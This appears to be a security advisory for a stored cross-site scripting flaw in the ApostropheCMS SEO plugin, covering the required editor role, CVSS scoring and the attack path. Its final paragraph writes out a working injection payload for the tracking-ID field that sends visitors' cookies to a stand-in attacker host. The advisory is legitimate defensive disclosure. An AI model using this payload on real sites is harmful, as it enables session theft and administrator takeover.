ApostropheCMS SEO EUVD-2026-36589

Attacker must hold a user account with editor-level role (the default role assigned to content managers in ApostropheCMS) on the target installation, and the @apostrophecms/seo plugin must be installed and the SEO fields exposed in the admin UI. Exploitation also requires that a victim subsequently load any page on the site after the malicious tracking ID is saved - automatic for site visitors during normal browsing, so this is a low bar. Limiting factors: single-administrator deployments where no other accounts hold editor rights are not exploitable, and sites that do not install the SEO plugin or that hardcode tracking IDs outside the CMS UI are unaffected.

The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) reflects a network-reachable stored XSS executed in a changed scope (visitor browser) with high confidentiality and integrity impact, requiring only the default editor role. No EPSS score, KEV listing, or public POC was provided in the input, suggesting this is a high-CVSS issue without confirmed mass exploitation yet - but the trust model of multi-tenant or community-contributor ApostropheCMS deployments makes the PR:L barrier effectively trivial, and the lack of a patch elevates real-world urgency. UI:R is debatable: visitor page loads are normal usage and arguably warrant UI:N for stored XSS, which would push the true risk slightly higher than the published score.

An attacker who obtains or is granted editor credentials (the default content-manager role) navigates to the SEO configuration UI and sets seoGoogleTrackingId to a payload such as ');fetch('https://attacker.tld/?c='+document.cookie);//, which is concatenated into the inline analytics <script> tag rendered site-wide. Every subsequent visitor - including administrators - executes the payload in their browser, enabling session cookie theft, admin account takeover via authenticated requests, or drive-by malware delivery. No public POC has been published, but the injection sink is straightforward to weaponize given the description.